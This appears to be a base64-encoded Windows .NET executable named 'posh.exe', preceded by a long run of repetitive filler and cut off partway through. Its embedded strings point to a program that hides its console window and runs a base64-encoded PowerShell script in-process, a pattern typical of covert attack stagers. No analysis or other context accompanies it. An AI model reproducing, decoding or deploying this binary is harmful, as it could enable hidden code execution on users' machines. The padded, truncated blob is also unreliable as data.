QBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQ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ACGGF4AIQADAFwgAAAAAJYAZAAlAAMAECEAAAAAlgB1ACoABAB4IQAAAACWAHsALwAFAAAAAQCAAAAAAgCFAAAAAQCOAAAAAQCOABEAXgAzABkAXgAhACEAXgA4AAkAXgAhACkAnAFGADEAqwEhADkAXgBLADEAyAFRAEEA6QFWAEkA9gE4AEEANQJbADEAPAIhAGEAXgAhAAwAhQJrABQAkwJ7AGEAnwKAAHEAxQKGAHkA2gIhAAkA4gKKAIEA8gKKAIkAAAOpAJEAFAOuAIkAJQO0AAgABAANAAgACAASAC4ACwDDAC4AEwDMAI4AugC/ACcBNAFkAHQAAAEDAEIAAQAAAQUAUwACAASAAAAAAAAAAAAAAAAAAAAAAPAAAAACAAAAAAAAAAAAAAABABsAAAAAAAEAAAAAAAAAAAAAAD0APwEAAAAAAAAAAAA8TW9kdWxlPgBwb3NoLmV4ZQBQcm9ncmFtAG1zY29ybGliAFN5c3RlbQBPYmplY3QAU1dfSElERQBTV19TSE9XAEdldENvbnNvbGVXaW5kb3cAU2hvd1dpbmRvdwAuY3RvcgBJbnZva2VBdXRvbWF0aW9uAFJ1blBTAE1haW4AaFduZABuQ21kU2hvdwBjbWQAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAHBvc2gAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAERsbEltcG9ydEF0dHJpYnV0ZQBrZXJuZWwzMi5kbGwAdXNlcjMyLmRsbABTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uAFN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uUnVuc3BhY2VzAFJ1bnNwYWNlRmFjdG9yeQBSdW5zcGFjZQBDcmVhdGVSdW5zcGFjZQBPcGVuAFJ1bnNwYWNlSW52b2tlAFBpcGVsaW5lAENyZWF0ZVBpcGVsaW5lAENvbW1hbmRDb2xsZWN0aW9uAGdldF9Db21tYW5kcwBBZGRTY3JpcHQAU3lzdGVtLkNvbGxlY3Rpb25zLk9iamVjdE1vZGVsAENvbGxlY3Rpb25gMQBQU09iamVjdABJbnZva2UAQ2xvc2UAU3lzdGVtLlRleHQAU3RyaW5nQnVpbGRlcgBTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYwBJRW51bWVyYXRvcmAxAEdldEVudW1lcmF0b3IAZ2V0X0N1cnJlbnQAQXBwZW5kAFN5c3RlbS5Db2xsZWN0aW9ucwBJRW51bWVyYXRvcgBNb3ZlTmV4dABJRGlzcG9zYWJsZQBEaXNwb3NlAFRvU3RyaW5nAFN0cmluZwBUcmltAEVuY29kaW5nAGdldF9Vbmljb2RlAENvbnZlcnQARnJvbUJhc2U2NFN0cmluZwBHZXRTdHJpbmcAAAADIAAAAAAAEia8UX96xUKNIcRtUFz57wAIt3pcVhk04IkCBggEAAAAAAQFAAAAAwAAGAUAAgIYCAMgAAEEAAEODgQAAQEOAwAAAQQgAQEIBCABAQ4IMb84Vq02TjUEAAASGQUgAQESGQQgABIhBCAAEiUIIAAVEikBEi0GFRIpARItCCAAFRI1ARMABhUSNQESLQQgABMABSABEjEcAyAAAgMgAA4aBwkSGRIdEiEVEikBEi0SMRItDhUSNQESLQIEAAASRQUAAR0FDgUgAQ4dBQQHAhgOAwcBGAgBAAgAAAAAAB4BAAEAVAIWV3JhcE5vbkV4Y2VwdGlvblRocm93cwEAvCgAAAAAAAAAAAAA3igAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAANAoAAAAAAAAAAAAAAAAAAAAAAAAAABfQ29yRXhlTWFpbgBtc2NvcmVlLmRsbAAAAAAA/yUAIEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAQAAAAIAAAgBgAAAA4AACAAAAAAAAAAAAAAAAAAAABAAEAAABQAACAAAAAAAAAAAAAAAAAAAABAAEAAABoAACAAAAAAAAAAAAAAAAAAAABAAAAAACAAAAAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAAoEAAADwCAAAAAAAAAAAAAOBCAADqAQAAAAAAAAAAAAA8AjQAAABWAFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAAAAAAAAAAAAAAAAAAAPwAAAAAAAAAEAAAAAQAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQByAEYAaQBsAGUASQBuAGYAbwAAAAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAAALAEnAEAAAEAUwB0AHIAaQBuAGcARgBpAGwAZQBJAG4AZgBvAAAAeAEAAAEAMAAwADAAMAAwADQAYgAwAAAALAACAAEARgBpAGwAZQBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AAAAAACAAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADAALgAwAC4AMAAuADAAAAA0AAkAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAHAAbwBzAGgALgBlAHgAZQAAAAAAKAACAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAIAAAADwACQABAE8AcgBpAGcAaQBuAGEAbABGAGkAbABlAG4AYQBtAGUAAABwAG8AcwBoAC4AZQB4AGUAAAAAADQACAABAFAAcgBvAGQAdQBjAHQAV